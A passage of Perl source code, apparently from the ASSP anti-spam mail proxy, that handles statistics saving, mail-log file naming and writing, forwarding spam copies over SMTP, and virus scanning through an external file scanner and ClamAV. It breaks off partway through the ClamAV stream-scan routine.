sub SaveStats {
    $Stats{smtpConcurrentSessions} = $smtpConcurrentSessions;
    $NextSaveStats = time + ( $SaveStatsEvery * 60 );
   	%AllStats = %OldStats;
  
    foreach ( keys %Stats ) {
        if ( $_ eq 'version' ) {

            # just copy
            $AllStats{$_} = $Stats{$_};
        } elsif ( $_ eq 'smtpMaxConcurrentSessions' ) {

            # pick greater value
            $AllStats{$_} = $Stats{$_} if $Stats{$_} > $AllStats{$_};
        } else {
            $AllStats{$_} += $Stats{$_};
        }
    }
    $AllStats{starttime} = $OldStats{starttime} || $Stats{starttime};
	unlink("$base/asspstats.sav.bak");
    rename("$base/asspstats.sav","$base/asspstats.sav.bak");
    
 	my $SS;
 	if (open($SS,">$base/asspstats.sav")) {
     	print $SS join("\001",%AllStats);
     	close $SS;
 	} else {
     	mlog(0,"warning: unable to save STATS to $base/asspstats.sav - $!");
 	}
}

#####################################################################################
#                Maillog functions
# find an appropriate name for a maillog file
sub maillogFilename {
    my ($fh,$isspam)  = @_;
    my $this=$Con{$fh};
    my @dirs    = ( $notspamlog, $spamlog, $incomingOkMail, $viruslog, $discarded, $discarded );
    my $maillog = $dirs[$isspam];
    return if !$maillog;
    d('maillogFilename');
   my $sub;
    $sub = $1
      if ($this->{maillogbuf}=~/\015\012Subject: *($HeaderValueRe)/iso or
          $this->{header}=~/\015\012Subject: *($HeaderValueRe)/iso);
    $sub =~ s/\r\n\s*//go;

    eval('no bytes;');
    $sub =~ s/\r?\n$//o;
    $sub =~ s/$NONPRINT//go;
    $sub = dedecodeMimeWords($sub);
    if ($LogCharset =~ /125[02]$/) {
        $sub =~ s/\x80/(EUR)/go;
    }

    my $sub2 = $sub;
    $sub =~ y/a-zA-Z0-9/_/cs ;
    $sub =~ s/[\s\<\>\?\"\'\:\|\\\/\*\&\.]/_/ig;  # remove not allowed characters and spaces from file name
#    $sub =~ s/\\x\{\d{2,}\}/_/g;
    $sub =~s/\.{2,}/\./g;
    $sub =~s/_{2,}/_/g;
    $sub =~s/[_\.]+$//;
    $sub =~s/^[_\.]+//;
    $this->{subject} = substr( $sub, 0, 50 ) unless $this->{subject};
    $sub = substr($sub,0,($MaxFileNameLength ? $MaxFileNameLength : 50));

    eval('use bytes;');
    if ( $UseSubjectsAsMaillogNames && $isspam == 1 && $MaxAllowedDups && $sub2 !~ /$AllowedDupSubjectReRE/) {
          my $md5sub = $sub ? Digest::MD5::md5($sub) : Digest::MD5::md5(' ') ;
          if ($Spamfiles{$md5sub} >= $MaxAllowedDups) {
              $maillog = $discarded if $discarded;
              mlog($fh,"MaxAllowedDups reached for this subject - store and discard mail in $discarded") if $SessionLog;
          } else {
              $Spamfiles{$md5sub}++;
          }
    }
    if ( $UseSubjectsAsMaillogNames || $isspam == 2 || $isspam == 3 ) {
        $Stats{Counter}++ unless $this->{hasmallogname};
        $Stats{Counter} = 1 if $Stats{Counter} > 99999999;
        $sub .= "__" . ( $Stats{Counter} );
        $this->{hasmallogname} = 1;
        return "$base/$maillog/$sub$maillogExt";
    } else {
        my $fn = $this->{fn};
        $this->{hasmallogname} = 1;
        return "$base/$maillog/$fn$maillogExt";
    }
}
sub maillogNewFileName {

    return  $Counter++ % 99999;
}

# integrated mail collection subroutine
sub MaillogStart {
    my $fh = shift;
    d('MaillogStart');
    $Con{$fh}->{maillog} = 1 unless $NoMaillog ;
    if ("$fh" =~ /SSL/o) {
        my $ciffer = eval{$fh->get_cipher();};
        $ciffer = '' unless $ciffer;
        $ciffer and $ciffer = '('.$ciffer.')';
        $Con{$fh}->{rcvd} =~ s/(\sE?SMTP)S?/$1S$ciffer/os;
    }
    $Con{$fh}->{maillogbuf}=$Con{$fh}->{header}=$Con{$fh}->{rcvd};
}

sub Maillog {
    my ( $fh, $text, $parm ) = @_;
    my $fln;
    my $isnotcc;
    d('Maillog');
    return unless $fh;

    if ( $parm == 1 ) {
        $parm    = 3;
        $isnotcc = 1;
    }
	
# 0 -- no collection, 1 -- is spam, parm = 2 -- not spam,
# 3 -- is spam && cc to spamaccount, 4 -- mail ok, 5 -- virii
# 6 -- discard folder, 7 -- discard folder && cc to spamaccount
	if ( $parm != 6 ) {
    $parm = 6
      if  $Con{$fh}->{redlist}  &&  $parm;
    $parm = 6
      if  $Con{$fh}->{red}  &&  $parm;
    $parm = 6
      if  $Con{$fh}->{redsl}  &&  $parm;
    $parm = 6
      if  $Con{$fh}->{isbounce} &&  $parm;
    $parm = 6
      if  $Con{$fh}->{messagelow} &&  $parm;
    $parm = 6
      if $ccMaxScore && ( $parm == 1 && $Con{$fh}->{messagescore} > $ccMaxScore );
    $parm = 6
      if $ccMaxScore && ( $parm == 3 && $Con{$fh}->{messagescore} > $ccMaxScore );
    $parm = 6
      if $ccMaxScore && ( $parm == 7 && $Con{$fh}->{messagescore} > $ccMaxScore );
	$parm = 6
      if $Con{$fh}->{ccnever} &&  ($parm == 7 or $parm == 3 or $parm == 1);
	}
    mlog($fh,"warning: no maillog") if !$Con{$fh}->{maillog};

    return unless ( $Con{$fh}->{maillog} );
    return if ( $Con{$fh}->{nocollect} );

    return if $Con{$fh}->{noprocessing} && ( $parm == 2 || $parm == 4 ) && ! $noProcessingLog;
    if ( $noCollecting && matchSL( $Con{$fh}->{mailfrom}, 'noCollecting' ) ) {
        $Con{$fh}->{nocollect} = 1;
        return;
      }


    $parm = 7
      if ( $parm == 6
        && $ccSpamAlways
        && allSL( $Con{$fh}->{rcpt}, $Con{$fh}->{mailfrom}, 'ccSpamAlways' ) );
    $parm = 7
      if ( $parm == 6
        && $ccSpamFilter
        && $sendAllSpam
        && allSL( $Con{$fh}->{rcpt}, $Con{$fh}->{mailfrom}, 'ccSpamFilter' ) );

    my $skipLog = 0;

    $Con{$fh}->{storecompletemail} = $StoreCompleteMail;
    $Con{$fh}->{storecompletemail} = "9999999" if !$StoreCompleteMail && $Con{$fh}->{alllog};
    $Con{$fh}->{storecompletemail} = "9999999" if $ccSpamAlways
        && allSL( $Con{$fh}->{rcpt}, $Con{$fh}->{mailfrom}, 'ccSpamAlways' );

    if ( $parm == 1 || $parm == 2 || $parm == 3 ) {
        if ( $parm > 1 ) {
            if ( ++$logFreq[$parm] < $logCount[$parm] ) {
                $skipLog = 1;
                $parm = 6;
            } else {
                $logCount[$parm] = 0;
            }
        }

    }

    if ( $parm == 3 && $skipLog == 1 ) {
        $parm    = 7;
        $skipLog = 0;
    }
	$parm = 4 if $parm == 6 && !$Con{$fh}->{spamfound};
    if (   $parm == 4 && !$incomingOkMail
    	|| $parm == 1 && (!$spamlog or !$SpamLog)
        || $parm == 2 && (!$notspamlog or !$NonSpamLog)
        || $parm == 5 && !$viruslog
        || $parm == 6 && !$discarded
        || $parm == 7 && !$discarded
        || $skipLog ) {
        d('Maillog - no log - missing folder');
        delete $Con{$fh}->{maillogbuf};
        delete $Con{$fh}->{maillog};
        close $Con{$fh}->{maillogfh} if $Con{$fh}->{maillogfh};
        delete $Con{$fh}->{maillogfh};
        delete $Con{$fh}->{mailloglength};
    } elsif ( $parm > 1 ) {

        d('Maillog - log');

        # we now know if it is spam or not -- open the file
        $text = $Con{$fh}->{maillogbuf} . $text;
        if ( $parm < 8 ) {

            my $fn = maillogFilename( $fh, $parm - 2 );

            $fln = $fn;
            $Con{$fh}->{maillogfilename} = $fn;
            if (!$fn) {
                $fln = '';
            } else {
                if ( open( my $FH , '>',"$fn" ) ) {
                    binmode $FH;
                    $Con{$fh}->{maillogfh} = $FH;
                    $Con{$fh}->{mailloglength} = 0;
                    if ($StoreASSPHeader) {
                        my $myheader = $Con{$fh}->{myheader};

                        $myheader = "X-Assp-Version: $version$modversion on $myName\r\n" . $myheader
                            if $myheader !~ /X-Assp-Version:.+? on \Q$myName\E/;
                        $myheader .= "X-Assp-ID: $myName $Con{$fh}->{msgtime}\r\n"
                            if $myheader !~ /X-Assp-ID: \Q$myName\E/;


                        $myheader =~ s/X-Assp-Spam:$HeaderValueRe//gios;
                        $myheader =~ s/X-Assp-Spam-Level:$HeaderValueRe//gios;
                        $myheader =~ s/[\r\n]+$/\r\n/o;
                        $myheader = headerFormat($myheader);

                        print $FH $myheader;
                        $Con{$fh}->{mailloglength} = length($myheader);
                    }
                } else {
                    mlog( $fh, "error opening maillog '$fn': $!" );
                }
            }
        }

        # start sending the message to sendAllSpam if appropriate

        my $current_email = $Con{$fh}->{rcpt};
        $current_email =~/($EmailAdrRe)\@($EmailDomainRe)/o;
        my ($current_username,$current_domain) = ($1,$2);

        if($sendAllSpam or scalar keys %ccdlist) {
            my $ccspamlt = $sendAllSpam;
            if ($ccspamlt) {
                $ccspamlt =~ s/USERNAME/$current_username/go;
                $ccspamlt =~ s/DOMAIN/$current_domain/go;
            }
            if ( $ccdlist{lc $current_domain} ) {
                $ccspamlt .= ' ' if $ccspamlt;
                $ccspamlt .= $ccdlist{lc $current_domain} . '@' . $current_domain;
            } elsif ($ccdlist{'*'}) {
            	$ccspamlt .= ' ' if $ccspamlt;
            	$ccspamlt .= $ccdlist{"*"}.'@'.$current_domain;
            }

            $Con{$fh}->{forwardSpam}=forwardSpam($Con{$fh}->{mailfrom},$ccspamlt,$fh) if ($ccspamlt && $isnotcc!=1 && ($parm==3 || $parm==7) && (!$ccSpamFilter  || $ccSpamFilter && allSL($Con{$fh}->{rcpt},$Con{$fh}->{mailfrom},'ccSpamFilter')));
        }
    }
	my $gotAllText;
    if(my $h = $Con{$fh}->{maillogfh}) {
        if (! $Con{$fh}->{spambuf}) {
            $h->print(substr($text,0,max($Con{$fh}->{storecompletemail},$MaxBytes)));
            $Con{$fh}->{mailloglength} = $Con{$fh}->{spambuf} = length($text);
            $Con{$fh}->{maillogbuf} = $text;
        } else {
            if ( $Con{$fh}->{spambuf} < $Con{$fh}->{storecompletemail}) {
                $h->print(substr($text,0,$Con{$fh}->{storecompletemail} - $Con{$fh}->{spambuf}));
            } else {
                $h->print(substr($text,0,$MaxBytes + $Con{$fh}->{headerlength})) if $Con{$fh}->{spambuf}<$MaxBytes + $Con{$fh}->{headerlength} ;
            }
            $Con{$fh}->{maillogbuf}.=$text;
            $Con{$fh}->{spambuf} += length($text);
            $Con{$fh}->{mailloglength} = length($Con{$fh}->{maillogbuf});
        }
        if(  (   $ccMaxBytes
              && $Con{$fh}->{mailloglength} > $MaxBytes + $Con{$fh}->{headerlength}
              && $Con{$fh}->{mailloglength} > $Con{$fh}->{storecompletemail})
           || $text=~/(^|[\r\n])\.[\r\n]/o)
        {
            d('Maillog - no cc');
            $gotAllText = 1;
            $h->close;
            delete $Con{$fh}->{maillog} unless $Con{$fh}->{forwardSpam};
            delete $Con{$fh}->{maillogfh};
            delete $Con{$fh}->{mailloglength};
        }
    } elsif(! $ccMaxBytes || $Con{$fh}->{mailloglength} < $MaxBytes + $Con{$fh}->{headerlength} || $Con{$fh}->{mailloglength} < $Con{$fh}->{storecompletemail}) {
        eval{$Con{$fh}->{maillogbuf}.=$text; };
        $Con{$fh}->{mailloglength} = length($Con{$fh}->{maillogbuf});
    }
    if($Con{$fh}->{forwardSpam} && exists $Con{$Con{$fh}->{forwardSpam}} && exists $Con{$Con{$fh}->{forwardSpam}}->{body}) {
        $Con{$Con{$fh}->{forwardSpam}}->{body} .= $text;
        $Con{$Con{$fh}->{forwardSpam}}->{gotAllText} = $gotAllText;
    }
    return $fln;
}



sub MaillogRemove {
    my $this = shift;
    d('MaillogRemove');
    return 0 unless $this ;
    if ($this->{maillogfilename} !~ /^(?:\Q$base\E\/)?(?:$notspamlog|$incomingOkMail)/) {
        return 0 if (($notspamlog && $discarded && $this->{maillogfilename} !~ /^(?:\Q$base\E\/)?(?:$notspamlog|$discarded)/) or
                   (! $notspamlog && $discarded && $this->{maillogfilename} !~ /^(?:\Q$base\E\/)?$discarded/) or
                   ($notspamlog && ! $discarded && $this->{maillogfilename} !~ /^(?:\Q$base\E\/)?$notspamlog/));
        return 0 if (($incomingOkMail && $discarded && $this->{maillogfilename} !~ /^(?:\Q$base\E\/)?(?:$incomingOkMail|$discarded)/) or
                   (! $incomingOkMail && $discarded && $this->{maillogfilename} !~ /^(?:\Q$base\E\/)?$discarded/) or
                   ($incomingOkMail && ! $discarded && $this->{maillogfilename} !~ /^(?:\Q$base\E\/)?$incomingOkMail/));
    }
    close $this->{maillogfh} if ($this->{maillogfh});
    if (-e $this->{maillogfilename}) {
        unlink "$this->{maillogfilename}";
        mlog($this->{self},"info: logfile $this->{maillogfilename} removed") if $SessionLog;
    }
    delete $this->{maillog};
    delete $this->{maillogfh};
    delete $this->{mailloglength};
    delete $this->{maillogfilename};
    delete $this->{maillogparm};
    $this->{maillog} = 1 unless $NoMaillog;
    return 1;
}

sub MaillogClose {
    my $fh = shift;
    d('MaillogClose');
    return unless $fh;
    my $f=$Con{$fh}->{maillogfh};
    eval{close $f if $f;};
    return if $Con{$fh}->{type} ne 'C';
    return unless $Con{$fh}->{maillogfilename};
    if ($Con{$fh}->{deleteMailLog}) {
        unlink "$Con{$fh}->{maillogfilename}";
        mlog($fh,"info: file $Con{$fh}->{maillogfilename} was deleted");
        delete $Con{$fh}->{maillogfilename};
    } elsif ($noCollectRe) {
        my ($mfh,$buf);
        my $bytes = ($MaxBytes + $Con{$fh}->{headerlength} > 100000) ? 100000 : $MaxBytes + $Con{$fh}->{headerlength};
        $bytes = 100000 unless $bytes;
        if (open $mfh, '<',"$Con{$fh}->{maillogfilename}") {
            binmode $mfh;
            my $hasread = 1;
            while ($hasread > 0 and length($buf) < $bytes) {
                my $read;
                $hasread = $mfh->sysread($read,$bytes);
                $buf .= $read;
            }
            close $mfh;
            if ($buf && $buf =~ /$noCollectReRE/is) {
                if (exists $runOnMaillogClose{'ASSP_ARC::setvars'}) {
                    $Con{$fh}->{deletemaillog} = 'noCollectRe';
                } else {
                    unlink "$Con{$fh}->{maillogfilename}";
                    mlog($fh,"info: file $Con{$fh}->{maillogfilename} was deleted - matched noCollectRe");
                    delete $Con{$fh}->{maillogfilename};
                }
            }
        }
    }
    foreach my $sub (keys %runOnMaillogClose) {
        $sub->($fh);
    }
}


sub forwardSpam {
    my ($from,$to,$oldfh)=@_;

    my $s;
    my $AVa;
	my $this=$Con{$oldfh};
	my $msgtime = $this->{msgtime};
	my $headerlength = $this->{headerlength};
    my $destination;
    if ($sendAllDestination ne '') {
        $destination = $sendAllDestination;
    }else{
        $destination = $smtpDestination;
    }

    $AVa = 0;
    foreach my $destinationA (split(/\|/o, $destination)) {
        if ($destinationA =~ /^(_*INBOUND_*:)?(\d+)$/o){
            $destinationA = '127.0.0.1:'.$2;
        }
        
        $destinationA=~ s/\[::1\]/127\.0\.0\.1/ ;
		$destinationA=~ s/localhost/127\.0\.0\.1/i ;
		
        if ($AVa<1) {
            $s = $CanUseIOSocketINET6
                 ? IO::Socket::INET6->new(Proto=>'tcp',PeerAddr=>$destinationA,Timeout=>2,&getDestSockDom($destinationA))
                 : IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>$destinationA,Timeout=>2);
            if($s) {
                $AVa=1;
                $destination=$destinationA;
            }
            else {
                mlog(0,"*** $destinationA didn't work, trying others...") if $SessionLog;
            }
        }
    }
    if(! $s) {

        mlog(0,"couldn't create server socket to $destination -- aborting sendAllSpam connection") if $SessionLog;
        return;
    }
    addfh($s,\&FShelo);
    my $this=$Con{$s};
    $this->{to_as} = $to;
    @{$this->{to}}=split(/\s*,\s*|\s+/o,$to);
    $this->{msgtime} = $msgtime;
    $this->{from}=$from;
  	$this->{headerlength}=$headerlength;
    $this->{fromIP}=$Con{$oldfh}->{ip};
    $this->{clamscandone}=$Con{$oldfh}->{clamscandone};
    $this->{FileScanOK}=$Con{$oldfh}->{FileScanOK};
    $this->{rcpt}=$Con{$oldfh}->{rcpt};
    $this->{myheader}=$Con{$oldfh}->{myheader};
    $this->{prepend}=$Con{$oldfh}->{prepend};
    $this->{saveprepend}=$Con{$oldfh}->{saveprepend};
    $this->{saveprepend2}=$Con{$oldfh}->{saveprepend2};
    $this->{body} = '';
    $this->{FSnoopCount} = 0;
    $this->{self} = $s;
    return $s;
}
sub FShelo { my ($fh,$l)=@_;
    if($l=~/^ *[54]/o) {
        FSabort($fh,"helo Expected 220, got: $l");
    } elsif($l=~/^ *220 /o) {
        sendque($fh,"HELO $myName\r\n");
        $Con{$fh}->{getline}=\&FSfrom;
    }
}
sub FSfrom { my ($fh,$l)=@_;
    if($l=~/^ *[54]/o) {
        FSabort($fh,"send HELO($myName), expected 250, got: $l");
    } elsif($l=~/^ *250 /o) {
        $Con{$fh}->{FSlastCMD} = "MAIL FROM: <$Con{$fh}->{from}>";
        sendque($fh,"$Con{$fh}->{FSlastCMD}\r\n");
        $Con{$fh}->{getline}=\&FSrcpt;
    }
}
sub FSrcpt { my ($fh,$l)=@_;
    if($l=~/^ *[54]/o) {
        FSabort($fh,"send $Con{$fh}->{FSlastCMD}, expected 250, got: $l");
    } elsif($l=~/^ *250 /o) {
        $Con{$fh}->{FSlastCMD} = "RCPT TO: <" . shift(@{$Con{$fh}->{to}}) . ">";
        sendque($fh,"$Con{$fh}->{FSlastCMD}\r\n");
        $Con{$fh}->{getline} = \&FSdata;
    }
}
sub FSnoop { my ($fh,$l)=@_;
    if ($Con{$fh}->{gotAllText}) {
        &FSdata($fh,$l);
        return;
    }
    if($l=~/^ *[54]/o) {
        FSabort($fh,"send $Con{$fh}->{FSlastCMD}, expected 250, got: $l");
    } elsif($l=~/^ *250 /o) {
        sendque($fh,"NOOP\r\n");
        $Con{$fh}->{FSnoopCount}++ if $Con{$fh}->{FSnoopCount} < 5;
        $Con{$fh}->{sendTime} = time + $Con{$fh}->{FSnoopCount};
        $Con{$fh}->{FSlastCMD} = 'NOOP';
    }
}
sub FSdata { my ($fh,$l)=@_;
    delete $Con{$fh}->{sendTime};
    if($l=~/^ *[54]/o) {
        FSabort($fh,"send $Con{$fh}->{FSlastCMD}, expected 250, got: $l");
    } elsif($l=~/^ *250 /o) {
        sendque($fh,"DATA\r\n");
        $Con{$fh}->{getline}=\&FSdata2;
    }
}
sub FSdata2 { my ($fh,$l)=@_;
    my $this=$Con{$fh};
    if($l=~/^ *[54]/o) {
        FSabort($fh,"FSdata2 Expected 354, got: $l");
    } elsif($l=~/^ *354 /o) {

        $this->{myheader}=~s/X-Assp-Intended-For:$HeaderValueRe//giso if $AddIntendedForHeader; # clear out existing X-Assp-Envelope-From headers
        $this->{body}=~s/^($HeaderRe*)/$1From: sender not supplied\r\n/o unless $this->{body}=~/^$HeaderRe*From:/io; # add From: if missing
        $this->{body}=~s/^($HeaderRe*)/$1Subject:\r\n/o unless $this->{body}=~/^$HeaderRe*Subject:/io; # add Subject: if missing

        $this->{saveprepend}.=$this->{saveprepend2};
        $this->{body}=~s/^Subject:/Subject: $this->{saveprepend}/gim if ($spamTagCC && $this->{saveprepend} );

        $this->{body}=~s/^Subject:/Subject: $spamSubjectEnc/gimo if $spamSubjectCC && $spamSubjectEnc;

# remove Disposition-Notification headers if needed

        $this->{body} =~ s/(?:ReturnReceipt|Return-Receipt-To|Disposition-Notification-To):$HeaderValueRe//gios
            if ($removeDispositionNotification);
            
        # merge our header, add X-Intended-For header
        $this->{myheader} = headerFormat($this->{myheader});
        my ($to) = $this->{rcpt} =~ /(\S+)/o;

        $this->{body}=~s/^($HeaderRe*)/$1\r\n\n\n\r$this->{myheader}X-Assp-Intended-For: $to\r\nX-Assp-Copy-Spam: Yes\r\n/o;
        $this->{body}=~s/\r?\n?\r\n\n\n\r/\r\n/o;
        my $maxbytes = $MaxBytes > 10000 ? $MaxBytes + $this->{headerlength} : 10000 + $this->{headerlength};
        $this->{body} = substr($this->{body},0,$maxbytes) if $ccMaxBytes && $MaxBytes;
 
        my $clamavbytes = $ClamAVBytes ? $ClamAVBytes : 50000;
        $clamavbytes = 100000 if $ClamAVBytes>100000;
        $this->{mailfrom} = $this->{from};
        $this->{ip} = $this->{fromIP};
        if ($ScanCC &&
                   $this->{body}  &&
                   ((haveToScan($fh) && ! ClamScanOK($fh,\substr($this->{body},0,$clamavbytes))) or
                    (haveToFileScan($fh) && ! FileScanOK($fh,\substr($this->{body},0,$clamavbytes)))
                   )
           ) {
           mlog($fh,"info: skip forwarding message to $this->{to_as} - virus found") if $ConnectionLog;
           @{$Con{$fh}->{to}} = (); undef @{$Con{$fh}->{to}};
           done2($fh);
           return;
        }

        $this->{body} =~ s/\r?\n/\r\n/gos;
        $this->{body} =~ s/[\r\n\.]+$//os;
        

 
        sendque($fh,$this->{body}) if $this->{body};
        sendque($fh,"\r\n.\r\n");
        delete $this->{body};
        mlog($fh,"info: message forwarded to $this->{to_as}") if $ConnectionLog;
        delete $this->{mailfrom};
        delete $this->{ip};
        $Con{$fh}->{getline}=\&FSdone;
    }
}

sub FSdone { my ($fh,$l)=@_;

    if($l=~/^ *[54]/o) {
        FSabort($fh,"done Expected 250, got: $l");
    } elsif($l=~/^ *250 /o) {
        NoLoopSyswrite($fh,"QUIT\r\n");
        @{$Con{$fh}->{to}} = (); undef @{$Con{$fh}->{to}};
        done2($fh); # close and delete
    }
}
sub FSabort {mlog(0,"FSabort: $_[1]"); @{$Con{$_[0]}->{to}} = (); undef @{$Con{$_[0]}->{to}};done2($_[0]);}


sub haveToFileScan {
    my $fh=shift;
    return 0 unless $fh;
    my $this=$Con{$fh};

    my $DoFileScan = $DoFileScan;    # copy the global to local - using local from this point


    return 0 if !$DoFileScan;
    return 0 if $this->{noscan};
    return 0 if $this->{filescandone}==1;
    return 0 if $this->{whitelisted} && $ScanWL!=1;
    return 0 if $this->{noprocessing} && $ScanNP!=1;
    return 0 if $this->{relayok} && $ScanLocal!=1;
    if ($noScan && matchSL($this->{mailfrom},'noScan')) {
        $this->{noscan} = 1;
        return 0;
    }

    if (($noScanIP && matchIP($this->{ip},'noScanIP',$fh)) ||
        ($NoScanRe  && $this->{ip}=~/$NoScanReRE/) ||
        ($NoScanRe  && $this->{helo}=~/$NoScanReRE/) ||
        ($NoScanRe  && $this->{mailfrom}=~/$NoScanReRE/))
    {
        $this->{noscan} = 1;
        return 0;
    }
    $this->{prepend}='';

    return 1;
}


sub FileScanOK {
    my ($fh,$b)=@_;
    return 1 if (! haveToFileScan($fh));
    return 1 unless $FileScanCMD;
    my $this = $Con{$fh};
    my $failed;
    my $cmd;
    my $res;
    my $virusname;
    
   	my $msg = $$b;
   	my $lb = length($msg);
    $this->{FileScanOK} = 1;
    if ($NoScanRe && $NoScanReRE ne '' && $msg=~('('.$NoScanReRE.')')) {
        mlogRe($1,"NoVirusscan");
        return 1;
    }


    my $mtype = '';
    $mtype = "whitelisted"   if $this->{whitelisted};
    $mtype = "noprocessing"  if $this->{noprocessing};
    $mtype = "local"         if $this->{relayok};

    my $file = $FileScanDir . "/" . int(rand(100000)) . "$maillogExt";
    
    my $SF;
    eval {
        open $SF, ">$file";
        binmode $SF;
        print $SF substr($msg,0,$lb);
        close $SF;
      };
    my $wait = $1 if ($FileScanCMD =~ /^\s*NORUN\s*\-\s*(\d+)/i);
    Time::HiRes::sleep($wait / 1000) if $wait;
    
    if (-r $file) {
        if ($FileScanCMD !~ /^\s*NORUN/i) {
            my $runfile = $file;
            my $rundir = $FileScanDir;
            if ( $^O eq "MSWin32" ) {
                $runfile =~ s/\//\\/g;
                $runfile = '"' . $runfile .'"' if $runfile =~ / /;
                $rundir =~ s/\//\\/g;
                $rundir = '"' . $rundir .'"' if $rundir =~ / /;
            } else {
                $runfile = "'" . $runfile ."'" if $runfile =~ / /;
                $rundir = "'" . $rundir ."'" if $rundir =~ / /;
            }

            $cmd = "$FileScanCMD 2>&1";
            $cmd =~ s/FILENAME/$runfile/ig;
            $cmd =~ s/NUMBER/$WorkerNumber/ig;
            $cmd =~ s/FILESCANDIR/$rundir/ig;
            d("filescan: running - $cmd");
            mlog($fh,"diagnostic: FileScan will run command - $cmd") if $ScanLog == 3;

            $res = qx($cmd);


            $res =~ s/\r//g;
            $res =~ s/\n/ /g;
            $res =~ s/\t/ /g;
            mlog($fh,"diagnostic: FileScan returned $res") if $ScanLog == 3;

            $failed = 1 if ($FileScanBad && $FileScanBadRE ne ''  && $res =~ ('('.$FileScanBadRE.')'));
            $failed = 1 if ($FileScanGood && $FileScanGoodRE ne ''  && $res !~ ('('.$FileScanGoodRE.')'));
        }
        eval{unlink $file;};

        mlog($fh,"FileScan: scanned $lb bytes in $mtype message",1)
            if(($failed && $ScanLog ) || $ScanLog >= 2);
        return 1 unless $failed;
    } else {
         mlog($fh,"FileScan: is unable find temporary $file - possibly removed by the file system scanner") if $ScanLog >= 2;
        $res = 'unable to find file to scan';
        $failed = 1;
    }

    if($failed) {
        ($virusname) = $res =~ $FSRESPRE;
        ($virusname) = $res =~ /$FileScanRespRe/ unless $virusname;

        if($virusname && $SuspiciousVirus && $SuspiciousVirusRE ne '' && $virusname=~('('.$SuspiciousVirusRE.')')){
            my $susp = $1;
            $this->{messagereason}="SuspiciousVirus: $virusname '$susp'";
            pbAdd($fh,$this->{ip},&weightRe($vsValencePB,'SuspiciousVirus',$susp,$fh),"$virusname",1);
            $this->{prepend}="[VIRUS][scoring]";
            mlog($fh,"'$virusname' passing because of '$susp'");
            return 1;
        }

        $this->{prepend}="[VIRUS]";
        if ($DoFileScan == 2) {
            $this->{prepend}="[VIRUS][monitor]";
            mlog($fh,"message is infected but pass - $res");
            return 1;
        }
        $virusname = 'a virus' unless $virusname;
        $this->{averror}=$AvError;
        $this->{averror}=~s/INFECTION/$virusname/gi;
        my $reportheader="Full Header:\r\n$this->{header}\r\n" if $EmailVirusReportsHeader;
        my $sub="virus detected: 'FileScan'";

        my $bod="Message ID: $this->{msgtime}\r\n";
        $bod.="Remote IP: $this->{ip}\r\n";
        $bod.="Subject: $this->{subject2}\r\n";
        $bod.="Sender: $this->{mailfrom}\r\n";
        $bod.="Recipients(s): $this->{rcpt}\r\n";
        $bod.="Virus Detected: 'FileScan' - $res\r\n";

        my $rfile="reports/virusreport.txt";
		GetReportFile($fh, $rfile, $sub );
        &sendNotification ($EmailFrom, $EmailVirusReportsTo,$this->{subject},"$this->{body}\n\n$bod$reportheader")
			if $EmailVirusReportsTo ;
        # Send virus report to recipient if set
        &sendNotification ($EmailFrom, $this->{rcpt},$this->{subject},"$this->{body}\n\n$bod")
        	if $EmailVirusReportsToRCPT && !$this->{relayok};

        $Stats{viridetected}++;
        delayWhiteExpire($fh);
        $this->{messagereason}="virus detected: 'FileScan' - $res";
        pbAdd($fh,$this->{ip},$vdValencePB,"virus-FileScan") if $vdValencePB>0;

        return 0;
    } else {
        mlog($fh,"info: FileScan - message is not infected") if $ScanLog >= 2;
        return 1;
    }
}


sub haveToScan {
    my $fh=shift;
    return 0 unless $fh;
    my $this=$Con{$fh};

    my $UseAvClamd = $UseAvClamd;    # copy the global to local - using local from this point

    return 0 if !$UseAvClamd;
    return 0 if !$CanUseAvClamd;
    return 0 if $this->{noscan};
    return 0 if $this->{clamscandone}==1;
    return 0 if $this->{whitelisted} && $ScanWL!=1;
    return 0 if $this->{noprocessing} && $ScanNP!=1;
    return 0 if $this->{relayok} && $ScanLocal!=1;
    if ($noScan && matchSL($this->{mailfrom},'noScan')) {
        $this->{noscan} = 1;
        return 0;
    }

    if (($noScanIP && matchIP($this->{ip},'noScanIP',$fh)) ||
        ($NoScanRe  && $this->{ip}=~/$NoScanReRE/) ||
        ($NoScanRe  && $this->{helo}=~/$NoScanReRE/) ||
        ($NoScanRe  && $this->{mailfrom}=~/$NoScanReRE/))
    {
        $this->{noscan} = 1;
        return 0;
    }

    $this->{prepend}='';

    return 1;
}


sub pingScan {

    my $av = new File::Scan::ClamAV( port => $AvClamdPort );

        if ( $av->ping() ) {

            $VerAvClamd         = $av->VERSION;
#            mlog( 0, 'ClamAv Up Again' ) if $ScanLog && $AvailAvClamd == 0;
            $AvailAvClamd = 1;
            $CommentAvClamd = "installed and ClamAv up";
        }
        undef $av;
    }
# substitutes File::Scan::ClamAV::ping
sub ClamScanPing {
 my ($self) = @_;
 my $response;
 my $timeout = $ClamAVtimeout / 2;
 $timeout = 5 if $timeout < 5;
 d('ClamScanPing - maxwait ' . $timeout * 2 . ' seconds');

 my $conn = $self->_get_connection || return;
 my $select = IO::Select->new();
 $select->add($conn);

 my @canwrite = $select->can_write(int($timeout));
 if (@canwrite) {
     $self->_send($conn, "PING\n");

     my @canread = $select->can_read(int($timeout));

     if (@canread) {
         chomp($response = $conn->getline);

     # Run out the buffer?
         1 while (<$conn>);
     } else {
         $response = 'unable to read from Socket';
     }
 } else {
     $response = 'unable to write to Socket';
 }
 $select->remove($conn);
 $conn->close;

 return ($response eq 'PONG' ? 1 : $self->_seterrstr("Unknown reponse from ClamAV service: $response"));
}

# substitutes File::Scan::ClamAV::streamscan
sub ClamScanScan {
 my ($self) = shift;
 my $response;
 my $timeout = $ClamAVtimeout / 2;
 $timeout = 2 if $timeout < 2;
 d('ClamScanScan - maxwait ' . $timeout + $ClamAVtimeout . ' seconds');

 my $data = join '', @_;

 $self->_seterrstr;

 my $conn = $self->_get_connection || return;
 my $select = IO::Select->new();
 $select->add($conn);

 my @canwrite = $select->can_write(int($timeout));
 if (@canwrite) {
     $self->_send($conn, "STREAM\n");
     chomp($response = $conn->getline);
 }
 
 my @return;
 if($response =~ /^PORT (\d+)/){
	if((my $c = $self->_get_tcp_connection($1))){
                my $stream = IO::Select->new();
                $stream->add($c);
                my @cwrite = $stream->can_write(int($timeout));
                if (@cwrite) {
		    $self->_send($c, $data);
                    $stream->remove($c);
		    $c->close;

                    my @canread = $select->can_read(int($ClamAVtimeout));
                    if (@canread) {
		        chomp(my $r = $conn->getline);
		        if($r =~ /stream: (.+) FOUND/i){
		   	    @return = ('FOUND', $1);
		        } else {
